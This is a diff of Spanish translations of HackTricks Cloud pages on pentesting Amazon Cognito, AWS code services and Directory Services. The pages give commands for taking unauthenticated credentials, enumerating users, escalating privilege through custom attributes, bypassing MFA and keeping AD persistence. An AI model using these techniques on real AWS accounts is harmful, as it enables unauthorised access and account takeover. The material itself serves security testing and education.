Amazon Cognito se utiliza para **autenticación, autorización y gestión de usuarios** en aplicaciones web y móviles. Permite a los usuarios la flexibilidad de iniciar sesión directamente usando un **nombre de usuario y contraseña** o indirectamente a través de un **tercero**, incluyendo Facebook, Amazon, Google o Apple.
|
||||
|
||||
Central a Amazon Cognito son dos componentes principales:
|
||||
Central a Amazon Cognito hay dos componentes principales:
|
||||
|
||||
1. **User Pools**: Estos son directorios diseñados para los usuarios de tu aplicación, ofreciendo **funcionalidades de registro e inicio de sesión**.
|
||||
2. **Identity Pools**: Estos grupos son fundamentales para **autorizar a los usuarios a acceder a diferentes servicios de AWS**. No están directamente involucrados en el proceso de inicio de sesión o registro, pero son cruciales para el acceso a recursos después de la autenticación.
|
||||
@@ -77,7 +77,7 @@ Solo **conocer el ID del Pool de Identidad** podría permitirte **obtener creden
|
||||
|
||||
### User Pools - Enumeración No Autenticada
|
||||
|
||||
Incluso si **no conoces un nombre de usuario válido** dentro de Cognito, podrías **enumerar** nombres de **usuario válidos**, **BF** las **contraseñas** o incluso **registrar un nuevo usuario** solo **conociendo el ID del cliente de la App** (que generalmente se encuentra en el código fuente). [**Consulta cómo aquí**](cognito-user-pools.md#registration)**.**
|
||||
Incluso si **no conoces un nombre de usuario válido** dentro de Cognito, podrías **enumerar** nombres de **usuario válidos**, **BF** las **contraseñas** o incluso **registrar un nuevo usuario** solo **conociendo el ID del cliente de la aplicación** (que generalmente se encuentra en el código fuente). [**Consulta cómo aquí**](cognito-user-pools.md#registration)**.**
|
||||
|
||||
## Privesc
|
||||
|
||||
|
||||
+7
-7
@@ -4,7 +4,7 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
Los grupos de identidades desempeñan un papel crucial al permitir que sus usuarios **adquieran credenciales temporales**. Estas credenciales son esenciales para acceder a varios servicios de AWS, incluyendo, entre otros, Amazon S3 y DynamoDB. Una característica notable de los grupos de identidades es su soporte tanto para usuarios anónimos como para una variedad de proveedores de identidad para la autenticación de usuarios. Los proveedores de identidad compatibles incluyen:
|
||||
Los grupos de identidades desempeñan un papel crucial al permitir que tus usuarios **adquieran credenciales temporales**. Estas credenciales son esenciales para acceder a varios servicios de AWS, incluyendo, entre otros, Amazon S3 y DynamoDB. Una característica notable de los grupos de identidades es su soporte tanto para usuarios anónimos como para una variedad de proveedores de identidad para la autenticación de usuarios. Los proveedores de identidad compatibles incluyen:
|
||||
|
||||
- Grupos de usuarios de Amazon Cognito
|
||||
- Opciones de inicio de sesión social como Facebook, Google, Login with Amazon y Sign in with Apple
|
||||
@@ -59,7 +59,7 @@ Ejemplo de uso de cognito\_\_enum para recopilar todos los grupos de usuarios, c
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__enum
|
||||
```
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo la creación no deseada de cuentas y la escalación de grupos de identidad.
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo la creación no deseada de cuentas y la escalación de grupos de identidades.
|
||||
|
||||
#### Instalación
|
||||
```bash
|
||||
@@ -78,7 +78,7 @@ Para más información, consulta https://github.com/padok-team/cognito-scanner
|
||||
Lo único que un atacante necesita saber para **obtener credenciales de AWS** en una aplicación de Cognito como usuario no autenticado es el **ID del Pool de Identidad**, y este **ID debe estar codificado** en la **aplicación** web/móvil para que se use. Un ID se ve así: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (no se puede forzar por fuerza bruta).
|
||||
|
||||
> [!TIP]
|
||||
> El **rol de IAM Cognito no autenticado creado a través de** se llama por defecto `Cognito_<Nombre del Pool de Identidad>Unauth_Role`
|
||||
> El **rol no autenticado de IAM Cognito creado a través de** se llama por defecto `Cognito_<Nombre del Pool de Identidad>Unauth_Role`
|
||||
|
||||
Si encuentras un ID de Pool de Identidad codificado y permite usuarios no autenticados, puedes obtener credenciales de AWS con:
|
||||
```python
|
||||
@@ -112,13 +112,13 @@ aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
|
||||
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
|
||||
```
|
||||
> [!WARNING]
|
||||
> Tenga en cuenta que por defecto un usuario cognito **no autenticado NO PUEDE tener ningún permiso, incluso si se le asignó a través de una política**. Consulte la siguiente sección.
|
||||
> Tenga en cuenta que, por defecto, un **usuario no autenticado de cognito NO PUEDE tener ningún permiso, incluso si se le asignó a través de una política**. Consulte la siguiente sección.
|
||||
|
||||
### Flujo de autenticación mejorado vs básico
|
||||
|
||||
La sección anterior siguió el **flujo de autenticación mejorado por defecto**. Este flujo establece una **política de sesión** [**restrictiva**](../../aws-basic-information/#session-policies) para la sesión de rol IAM generada. Esta política solo permitirá que la sesión [**utilice los servicios de esta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (incluso si el rol tenía acceso a otros servicios).
|
||||
La sección anterior siguió el **flujo de autenticación mejorado por defecto**. Este flujo establece una **política de sesión** [**restrictiva**](../../aws-basic-information/#session-policies) para la sesión del rol IAM generada. Esta política solo permitirá que la sesión [**utilice los servicios de esta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (incluso si el rol tenía acceso a otros servicios).
|
||||
|
||||
Sin embargo, hay una manera de eludir esto, si el **grupo de identidades tiene habilitado el "Flujo Básico (Clásico)"**, el usuario podrá obtener una sesión utilizando ese flujo que **no tendrá esa política de sesión restrictiva**.
|
||||
Sin embargo, hay una manera de eludir esto; si el **grupo de identidades tiene habilitado el "Flujo Básico (Clásico)"**, el usuario podrá obtener una sesión utilizando ese flujo que **no tendrá esa política de sesión restrictiva**.
|
||||
```bash
|
||||
# Get auth ID
|
||||
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
|
||||
@@ -144,7 +144,7 @@ Teniendo un conjunto de credenciales de IAM, deberías verificar [qué acceso ti
|
||||
|
||||
También podría haber **roles** disponibles para **usuarios autenticados que acceden al Identity Pool**.
|
||||
|
||||
Para esto, podrías necesitar tener acceso al **proveedor de identidad**. Si ese es un **Cognito User Pool**, tal vez puedas abusar del comportamiento por defecto y **crear un nuevo usuario tú mismo**.
|
||||
Para esto, podrías necesitar acceso al **proveedor de identidad**. Si ese es un **Cognito User Pool**, tal vez puedas abusar del comportamiento predeterminado y **crear un nuevo usuario tú mismo**.
|
||||
|
||||
> [!TIP]
|
||||
> El **rol autenticado de IAM Cognito creado a través de** se llama por defecto `Cognito_<Identity Pool name>Auth_Role`
|
||||
|
||||
+26
-26
@@ -4,18 +4,18 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
Un grupo de usuarios es un directorio de usuarios en Amazon Cognito. Con un grupo de usuarios, tus usuarios pueden **iniciar sesión en tu aplicación web o móvil** a través de Amazon Cognito, **o federarse** a través de un proveedor de identidad (IdP) **de terceros**. Ya sea que tus usuarios inicien sesión directamente o a través de un tercero, todos los miembros del grupo de usuarios tienen un perfil de directorio al que puedes acceder a través de un SDK.
|
||||
Un grupo de usuarios es un directorio de usuarios en Amazon Cognito. Con un grupo de usuarios, tus usuarios pueden **iniciar sesión en tu aplicación web o móvil** a través de Amazon Cognito, **o federarse** a través de un **proveedor de identidad** de terceros (IdP). Ya sea que tus usuarios inicien sesión directamente o a través de un tercero, todos los miembros del grupo de usuarios tienen un perfil de directorio al que puedes acceder a través de un SDK.
|
||||
|
||||
Los grupos de usuarios proporcionan:
|
||||
|
||||
- Servicios de registro e inicio de sesión.
|
||||
- Una interfaz web personalizable incorporada para iniciar sesión a los usuarios.
|
||||
- Inicio de sesión social con Facebook, Google, Login con Amazon y Sign in with Apple, y a través de proveedores de identidad SAML y OIDC de tu grupo de usuarios.
|
||||
- Inicio de sesión social con Facebook, Google, Login with Amazon y Sign in with Apple, y a través de proveedores de identidad SAML y OIDC de tu grupo de usuarios.
|
||||
- Gestión del directorio de usuarios y perfiles de usuario.
|
||||
- Características de seguridad como autenticación multifactor (MFA), verificaciones de credenciales comprometidas, protección contra toma de control de cuentas y verificación de teléfono y correo electrónico.
|
||||
- Flujos de trabajo personalizados y migración de usuarios a través de desencadenadores de AWS Lambda.
|
||||
|
||||
El **código fuente** de las aplicaciones generalmente también contendrá el **ID del grupo de usuarios** y el **ID de la aplicación cliente**, (y a veces el **secreto de la aplicación**?) que son necesarios para que un **usuario inicie sesión** en un Grupo de Usuarios Cognito.
|
||||
El **código fuente** de las aplicaciones generalmente también contendrá el **ID del grupo de usuarios** y el **ID de la aplicación cliente**, (y a veces el **secreto de la aplicación**?) que son necesarios para que un **usuario inicie sesión** en un Grupo de Usuarios de Cognito.
|
||||
|
||||
### Ataques Potenciales
|
||||
|
||||
@@ -26,7 +26,7 @@ El **código fuente** de las aplicaciones generalmente también contendrá el **
|
||||
### Herramientas para pentesting
|
||||
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), ahora incluye los módulos `cognito__enum` y `cognito__attack` que automatizan la enumeración de todos los activos de Cognito en una cuenta y marcan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte MFA) y la escalada de privilegios basada en atributos personalizados modificables, credenciales de grupos de identidad utilizables, roles asumibles en tokens de id, etc.\
|
||||
Para una descripción de las funciones de los módulos, consulta la parte 2 de la [entrada del blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu).
|
||||
Para una descripción de las funciones de los módulos, consulta la parte 2 del [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu).
|
||||
```bash
|
||||
# Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account
|
||||
Pacu (new:test) > run cognito__enum
|
||||
@@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma
|
||||
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
|
||||
```
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo la creación no deseada de cuentas y el oracle de cuentas. Consulta [este enlace](https://github.com/padok-team/cognito-scanner) para más información.
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo la creación no deseada de cuentas y el oracle de cuentas. Consulta [this link](https://github.com/padok-team/cognito-scanner) para más información.
|
||||
```bash
|
||||
# Install
|
||||
pip install cognito-scanner
|
||||
@@ -65,15 +65,15 @@ Puedes proporcionar los detalles necesarios con un JSON como:
|
||||
```json
|
||||
--user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]'
|
||||
```
|
||||
Podrías usar esta funcionalidad también para **enumerar usuarios existentes.** Este es el mensaje de error cuando un usuario ya existe con ese nombre:
|
||||
También podrías usar esta funcionalidad para **enumerar usuarios existentes.** Este es el mensaje de error cuando un usuario ya existe con ese nombre:
|
||||
```
|
||||
An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists
|
||||
```
|
||||
> [!NOTE]
|
||||
> Nota en el comando anterior cómo los **atributos personalizados comienzan con "custom:"**.\
|
||||
> También sepa que al registrarse **no puede crear nuevos atributos personalizados para el usuario**. Solo puede dar valor a los **atributos predeterminados** (incluso si no son obligatorios) y a los **atributos personalizados especificados**.
|
||||
> También se debe saber que al registrarse **no se pueden crear nuevos atributos personalizados para el usuario**. Solo se puede dar valor a **atributos predeterminados** (incluso si no son obligatorios) y **atributos personalizados especificados**.
|
||||
|
||||
O solo para probar si existe un id de cliente. Este es el error si el client-id no existe:
|
||||
O simplemente para probar si existe un id de cliente. Este es el error si el client-id no existe:
|
||||
```
|
||||
An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist.
|
||||
```
|
||||
@@ -83,9 +83,9 @@ Encontrarás este error y no podrás registrar o enumerar usuarios:
|
||||
```
|
||||
An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool
|
||||
```
|
||||
### Verifying Registration
|
||||
### Verificando el Registro
|
||||
|
||||
Cognito permite **verificar un nuevo usuario verificando su correo electrónico o número de teléfono**. Por lo tanto, al crear un usuario, generalmente se requerirá al menos el nombre de usuario y la contraseña y el **correo electrónico y/o número de teléfono**. Simplemente establece uno **que controles** para que recibas el código para **verificar tu** cuenta de usuario **recientemente creada** así:
|
||||
Cognito permite **verificar un nuevo usuario verificando su correo electrónico o número de teléfono**. Por lo tanto, al crear un usuario, generalmente se requerirá al menos el nombre de usuario y la contraseña, así como el **correo electrónico y/o número de teléfono**. Simplemente establece uno **que controles** para que recibas el código para **verificar tu** cuenta de usuario **recientemente creada** así:
|
||||
```bash
|
||||
aws cognito-idp confirm-sign-up --client-id <cliet_id> \
|
||||
--username aasdasd2 --confirmation-code <conf_code> \
|
||||
@@ -103,17 +103,17 @@ aws cognito-idp update-user-attributes \
|
||||
--user-attributes Name=address,Value=street \
|
||||
--access-token <access token>
|
||||
```
|
||||
#### Privesc de atributos personalizados
|
||||
#### Privesc de atributo personalizado
|
||||
|
||||
> [!CAUTION]
|
||||
> Puedes encontrar **atributos personalizados** siendo utilizados (como `isAdmin`), ya que por defecto puedes **cambiar los valores de tus propios atributos**, ¡podrías ser capaz de **escalar privilegios** cambiando el valor tú mismo!
|
||||
> Podrías encontrar **atributos personalizados** siendo utilizados (como `isAdmin`), ya que por defecto puedes **cambiar los valores de tus propios atributos**, ¡podrías ser capaz de **escalar privilegios** cambiando el valor tú mismo!
|
||||
|
||||
#### Privesc de modificación de correo electrónico/nombre de usuario
|
||||
|
||||
Puedes usar esto para **modificar el correo electrónico y el número de teléfono** de un usuario, pero luego, incluso si la cuenta permanece como verificada, esos atributos están **establecidos en estado no verificado** (necesitas verificarlos nuevamente).
|
||||
|
||||
> [!WARNING]
|
||||
> **No podrás iniciar sesión con el correo electrónico o el número de teléfono** hasta que los verifiques, pero podrás **iniciar sesión con el nombre de usuario**.\
|
||||
> No **podrás iniciar sesión con el correo electrónico o el número de teléfono** hasta que los verifiques, pero podrás **iniciar sesión con el nombre de usuario**.\
|
||||
> Ten en cuenta que incluso si el correo electrónico fue modificado y no verificado, aparecerá en el ID Token dentro del **campo** **`email`** y el campo **`email_verified`** será **falso**, pero si la aplicación **no está verificando eso, podrías suplantar a otros usuarios**.
|
||||
|
||||
> Además, ten en cuenta que puedes poner cualquier cosa dentro del campo **`name`** simplemente modificando el **atributo name**. Si una aplicación está **verificando** **ese** campo por alguna razón **en lugar del `email`** (o cualquier otro atributo), podrías ser capaz de **suplantar a otros usuarios**.
|
||||
@@ -158,12 +158,12 @@ aws cognito-idp change-password \
|
||||
```
|
||||
## Autenticación
|
||||
|
||||
Un grupo de usuarios admite **diferentes formas de autenticarse**. Si tienes un **nombre de usuario y contraseña**, también hay **diferentes métodos** admitidos para iniciar sesión.\
|
||||
Además, cuando un usuario está autenticado en el grupo, se **otorgan 3 tipos de tokens**: El **ID Token**, el **Access token** y el **Refresh token**.
|
||||
Un grupo de usuarios admite **diferentes formas de autenticarse**. Si tienes un **nombre de usuario y contraseña**, también hay **diferentes métodos** soportados para iniciar sesión.\
|
||||
Además, cuando un usuario está autenticado en el grupo, se **otorgan 3 tipos de tokens**: el **ID Token**, el **Access token** y el **Refresh token**.
|
||||
|
||||
- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Contiene afirmaciones sobre la **identidad del usuario autenticado**, como `name`, `email` y `phone_number`. El ID token también se puede usar para **autenticar usuarios en tus servidores de recursos o aplicaciones de servidor**. Debes **verificar** la **firma** del ID token antes de poder confiar en cualquier afirmación dentro del ID token si lo usas en aplicaciones externas.
|
||||
- El ID Token es el token que **contiene los valores de los atributos del usuario**, incluso los personalizados.
|
||||
- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Contiene afirmaciones sobre el usuario autenticado, una lista de los **grupos del usuario y una lista de scopes**. El propósito del access token es **autorizar operaciones de API** en el contexto del usuario en el grupo de usuarios. Por ejemplo, puedes usar el access token para **otorgar a tu usuario acceso** para agregar, cambiar o eliminar atributos de usuario.
|
||||
- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Contiene afirmaciones sobre el usuario autenticado, una lista de los **grupos del usuario** y una lista de scopes. El propósito del access token es **autorizar operaciones de API** en el contexto del usuario en el grupo de usuarios. Por ejemplo, puedes usar el access token para **otorgar a tu usuario acceso** para agregar, cambiar o eliminar atributos de usuario.
|
||||
- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Con los refresh tokens puedes **obtener nuevos ID Tokens y Access Tokens** para el usuario hasta que el **refresh token sea inválido**. Por **defecto**, el refresh token **expira 30 días después** de que el usuario de tu aplicación inicie sesión en tu grupo de usuarios. Cuando creas una aplicación para tu grupo de usuarios, puedes establecer la expiración del refresh token de la aplicación a **cualquier valor entre 60 minutos y 10 años**.
|
||||
|
||||
### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH
|
||||
@@ -250,10 +250,10 @@ La **principal diferencia** con el **método de autenticación anterior** dentro
|
||||
|
||||
Para **iniciar sesión** necesitas saber:
|
||||
|
||||
- id de cliente
|
||||
- nombre de usuario
|
||||
- contraseña
|
||||
- secreto de cliente (solo si la aplicación está configurada para usar un secreto)
|
||||
- client id
|
||||
- username
|
||||
- password
|
||||
- client secret (solo si la aplicación está configurada para usar un secreto)
|
||||
|
||||
> [!NOTE]
|
||||
> Para **poder iniciar sesión con este método**, esa aplicación debe permitir iniciar sesión con ALLOW_USER_PASSWORD_AUTH.
|
||||
@@ -266,7 +266,7 @@ aws cognito-idp initiate-auth --client-id <client-id> \
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Código Python para iniciar sesión</summary>
|
||||
<summary>Código Python para Iniciar Sesión</summary>
|
||||
```python
|
||||
import boto3
|
||||
import botocore
|
||||
@@ -395,15 +395,15 @@ En este caso, la **autenticación** se realizará a través de la **ejecución d
|
||||
|
||||
### Seguridad Avanzada
|
||||
|
||||
Por defecto está deshabilitada, pero si se habilita, Cognito podría ser capaz de **encontrar tomas de control de cuentas**. Para minimizar la probabilidad, deberías iniciar sesión desde una **red dentro de la misma ciudad, utilizando el mismo agente de usuario** (y IP si es posible)**.**
|
||||
Por defecto está desactivada, pero si se habilita, Cognito podría ser capaz de **encontrar tomas de control de cuentas**. Para minimizar la probabilidad, deberías iniciar sesión desde una **red dentro de la misma ciudad, utilizando el mismo agente de usuario** (y la IP si es posible)**.**
|
||||
|
||||
### **MFA Recordar dispositivo**
|
||||
|
||||
Si el usuario inicia sesión desde el mismo dispositivo, el MFA podría ser eludido, por lo tanto, intenta iniciar sesión desde el mismo navegador con los mismos metadatos (¿IP?) para intentar eludir la protección MFA.
|
||||
|
||||
## Grupos de User Pool Roles IAM
|
||||
## Roles IAM de Grupos de User Pool
|
||||
|
||||
Es posible agregar **usuarios a grupos de User Pool** que están relacionados con uno **roles IAM**.\
|
||||
Es posible agregar **usuarios a grupos de User Pool** que están relacionados con un **rol IAM**.\
|
||||
Además, **los usuarios** pueden ser asignados a **más de 1 grupo con diferentes roles IAM** adjuntos.
|
||||
|
||||
Ten en cuenta que incluso si un grupo está dentro de un grupo con un rol IAM adjunto, para poder acceder a las credenciales IAM de ese grupo es necesario que el **User Pool sea confiable por un Identity Pool** (y conocer los detalles de ese Identity Pool).
|
||||
@@ -412,13 +412,13 @@ Otro requisito para obtener el **rol IAM indicado en el IdToken** cuando un usua
|
||||
|
||||
<figure><img src="../../../../images/image (250).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Los **roles** a los que un usuario tiene acceso están **dentro del `IdToken`**, y un usuario puede **seleccionar qué rol le gustaría tener credenciales** con el **`--custom-role-arn`** de `aws cognito-identity get-credentials-for-identity`.\
|
||||
Los **roles** a los que un usuario tiene acceso están **dentro del `IdToken`**, y un usuario puede **seleccionar qué rol le gustaría obtener credenciales** con el **`--custom-role-arn`** de `aws cognito-identity get-credentials-for-identity`.\
|
||||
Sin embargo, si la **opción predeterminada** es la que está **configurada** (`usar rol predeterminado`), y intentas acceder a un rol desde el IdToken, recibirás un **error** (por eso se necesita la configuración anterior):
|
||||
```
|
||||
An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN.
|
||||
```
|
||||
> [!WARNING]
|
||||
> Tenga en cuenta que el rol asignado a un **User Pool Group** necesita ser **accesible por el Proveedor de Identidad** que **confía en el User Pool** (ya que las **credenciales de sesión del rol IAM se van a obtener de él**).
|
||||
> Tenga en cuenta que el rol asignado a un **Grupo de User Pool** debe ser **accesible por el Proveedor de Identidad** que **confía en el User Pool** (ya que las **credenciales de sesión del rol IAM se obtendrán de él**).
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
|
||||
+2
-2
@@ -33,7 +33,7 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de datap
|
||||
|
||||
## CodePipeline
|
||||
|
||||
AWS CodePipeline es un servicio de **entrega continua** completamente gestionado que te ayuda a **automatizar tus pipelines de lanzamiento** para actualizaciones rápidas y confiables de aplicaciones e infraestructura. CodePipeline automatiza las **fases de construcción, prueba y despliegue** de tu proceso de lanzamiento cada vez que hay un cambio en el código, basado en el modelo de lanzamiento que defines.
|
||||
AWS CodePipeline es un **servicio de entrega continua** completamente gestionado que te ayuda a **automatizar tus pipelines de lanzamiento** para actualizaciones rápidas y confiables de aplicaciones e infraestructura. CodePipeline automatiza las **fases de construcción, prueba y despliegue** de tu proceso de lanzamiento cada vez que hay un cambio en el código, basado en el modelo de lanzamiento que defines.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -56,7 +56,7 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de codep
|
||||
|
||||
Es un **servicio de control de versiones**, que está alojado y completamente gestionado por Amazon, que se puede utilizar para almacenar datos de forma privada (documentos, archivos binarios, código fuente) y gestionarlos en la nube.
|
||||
|
||||
**Elimina** el requisito de que el usuario conozca Git y **gestione su propio sistema de control de versiones** o se preocupe por escalar su infraestructura. Codecommit admite todas las **funcionalidades estándar que se pueden encontrar en Git**, lo que significa que funciona sin problemas con las herramientas basadas en Git actuales del usuario.
|
||||
**Elimina** la necesidad de que el usuario conozca Git y **gestione su propio sistema de control de versiones** o se preocupe por escalar su infraestructura. Codecommit admite todas las **funcionalidades estándar que se pueden encontrar en Git**, lo que significa que funciona sin problemas con las herramientas basadas en Git actuales del usuario.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
|
||||
+14
-14
@@ -1,28 +1,28 @@
|
||||
# AWS - Directory Services / WorkDocs Enum
|
||||
# AWS - Servicios de Directorio / Enumeración de WorkDocs
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Directory Services
|
||||
## Servicios de Directorio
|
||||
|
||||
AWS Directory Service para Microsoft Active Directory es un servicio gestionado que facilita **configurar, operar y escalar un directorio** en la nube de AWS. Está construido sobre el **Microsoft Active Directory** real e integra estrechamente con otros servicios de AWS, lo que facilita la gestión de tus cargas de trabajo y recursos de AWS que son conscientes del directorio. Con AWS Managed Microsoft AD, puedes **usar tus existentes** usuarios, grupos y políticas de Active Directory para gestionar el acceso a tus recursos de AWS. Esto puede ayudar a simplificar tu gestión de identidad y reducir la necesidad de soluciones de identidad adicionales. AWS Managed Microsoft AD también proporciona copias de seguridad automáticas y capacidades de recuperación ante desastres, ayudando a garantizar la disponibilidad y durabilidad de tu directorio. En general, AWS Directory Service para Microsoft Active Directory puede ayudarte a ahorrar tiempo y recursos al proporcionar un servicio de Active Directory gestionado, altamente disponible y escalable en la nube de AWS.
|
||||
AWS Directory Service para Microsoft Active Directory es un servicio gestionado que facilita **configurar, operar y escalar un directorio** en la nube de AWS. Está construido sobre el **Microsoft Active Directory** real e integra estrechamente con otros servicios de AWS, lo que facilita la gestión de tus cargas de trabajo y recursos de AWS que son conscientes del directorio. Con AWS Managed Microsoft AD, puedes **usar tus usuarios, grupos y políticas** de Active Directory existentes para gestionar el acceso a tus recursos de AWS. Esto puede ayudar a simplificar tu gestión de identidad y reducir la necesidad de soluciones de identidad adicionales. AWS Managed Microsoft AD también proporciona copias de seguridad automáticas y capacidades de recuperación ante desastres, ayudando a garantizar la disponibilidad y durabilidad de tu directorio. En general, AWS Directory Service para Microsoft Active Directory puede ayudarte a ahorrar tiempo y recursos al proporcionar un servicio de Active Directory gestionado, altamente disponible y escalable en la nube de AWS.
|
||||
|
||||
### Options
|
||||
### Opciones
|
||||
|
||||
Directory Services permite crear 5 tipos de directorios:
|
||||
Los Servicios de Directorio permiten crear 5 tipos de directorios:
|
||||
|
||||
- **AWS Managed Microsoft AD**: Que ejecutará un nuevo **Microsoft AD en AWS**. Podrás establecer la contraseña de administrador y acceder a los DCs en una VPC.
|
||||
- **Simple AD**: Que será un servidor compatible con Active Directory **Linux-Samba**. Podrás establecer la contraseña de administrador y acceder a los DCs en una VPC.
|
||||
- **AD Connector**: Un proxy para **redirigir solicitudes de directorio a tu existente Microsoft Active Directory** sin almacenar información en la nube. Estará escuchando en una **VPC** y necesitas proporcionar **credenciales para acceder al AD existente**.
|
||||
- **AD Connector**: Un proxy para **redirigir solicitudes de directorio a tu Microsoft Active Directory existente** sin almacenar información en la nube. Estará escuchando en una **VPC** y necesitas proporcionar **credenciales para acceder al AD existente**.
|
||||
- **Amazon Cognito User Pools**: Esto es lo mismo que Cognito User Pools.
|
||||
- **Cloud Directory**: Este es el **más simple**. Un directorio **sin servidor** donde indicas el **esquema** a utilizar y se **cobran según el uso**.
|
||||
- **Cloud Directory**: Este es el más **simple**. Un directorio **sin servidor** donde indicas el **esquema** a utilizar y se te **cobrarán según el uso**.
|
||||
|
||||
Los servicios de directorio de AWS permiten **sincronizar** con tu **Microsoft AD** existente **en las instalaciones**, **ejecutar tu propio** en AWS o sincronizar con **otros tipos de directorios**.
|
||||
|
||||
### Lab
|
||||
### Laboratorio
|
||||
|
||||
Aquí puedes encontrar un buen tutorial para crear tu propio Microsoft AD en AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html)
|
||||
|
||||
### Enumeration
|
||||
### Enumeración
|
||||
```bash
|
||||
# Get directories and DCs
|
||||
aws ds describe-directories
|
||||
@@ -37,7 +37,7 @@ aws ds describe-certificate --directory-id <id> --certificate-id <id>
|
||||
```
|
||||
### Login
|
||||
|
||||
Tenga en cuenta que si la **descripción** del directorio contenía un **dominio** en el campo **`AccessUrl`** es porque un **usuario** probablemente puede **iniciar sesión** con sus **credenciales de AD** en algunos **servicios de AWS:**
|
||||
Tenga en cuenta que si la **descripción** del directorio contenía un **dominio** en el campo **`AccessUrl`**, es porque un **usuario** probablemente puede **iniciar sesión** con sus **credenciales de AD** en algunos **servicios de AWS:**
|
||||
|
||||
- `<name>.awsapps.com/connect` (Amazon Connect)
|
||||
- `<name>.awsapps.com/workdocs` (Amazon WorkDocs)
|
||||
@@ -55,10 +55,10 @@ Tenga en cuenta que si la **descripción** del directorio contenía un **dominio
|
||||
|
||||
### Using an AD user
|
||||
|
||||
Un **usuario de AD** puede recibir **acceso a la consola de administración de AWS** a través de un Rol que asumir. El **nombre de usuario predeterminado es Admin** y es posible **cambiar su contraseña** desde la consola de AWS.
|
||||
Un **usuario de AD** puede recibir **acceso a la consola de administración de AWS** a través de un rol que asumir. El **nombre de usuario predeterminado es Admin** y es posible **cambiar su contraseña** desde la consola de AWS.
|
||||
|
||||
Por lo tanto, es posible **cambiar la contraseña de Admin**, **crear un nuevo usuario** o **cambiar la contraseña** de un usuario y otorgar a ese usuario un Rol para mantener el acceso.\
|
||||
También es posible **agregar un usuario a un grupo dentro de AD** y **dar acceso a ese grupo de AD a un Rol** (para hacer que esta persistencia sea más sigilosa).
|
||||
Por lo tanto, es posible **cambiar la contraseña de Admin**, **crear un nuevo usuario** o **cambiar la contraseña** de un usuario y otorgar a ese usuario un rol para mantener el acceso.\
|
||||
También es posible **agregar un usuario a un grupo dentro de AD** y **dar acceso a ese grupo de AD a un rol** (para hacer que esta persistencia sea más sigilosa).
|
||||
|
||||
### Sharing AD (from victim to attacker)
|
||||
|
||||
@@ -75,7 +75,7 @@ No parece posible otorgar acceso a AWS a usuarios de un entorno de AD diferente
|
||||
|
||||
Amazon Web Services (AWS) WorkDocs es un **servicio de almacenamiento y compartición de archivos** basado en la nube. Es parte de la suite de servicios de computación en la nube de AWS y está diseñado para proporcionar una solución segura y escalable para que las organizaciones almacenen, compartan y colaboren en archivos y documentos.
|
||||
|
||||
AWS WorkDocs proporciona una interfaz basada en la web para que los usuarios carguen, accedan y gestionen sus archivos y documentos. También ofrece características como control de versiones, colaboración en tiempo real e integración con otros servicios de AWS y herramientas de terceros.
|
||||
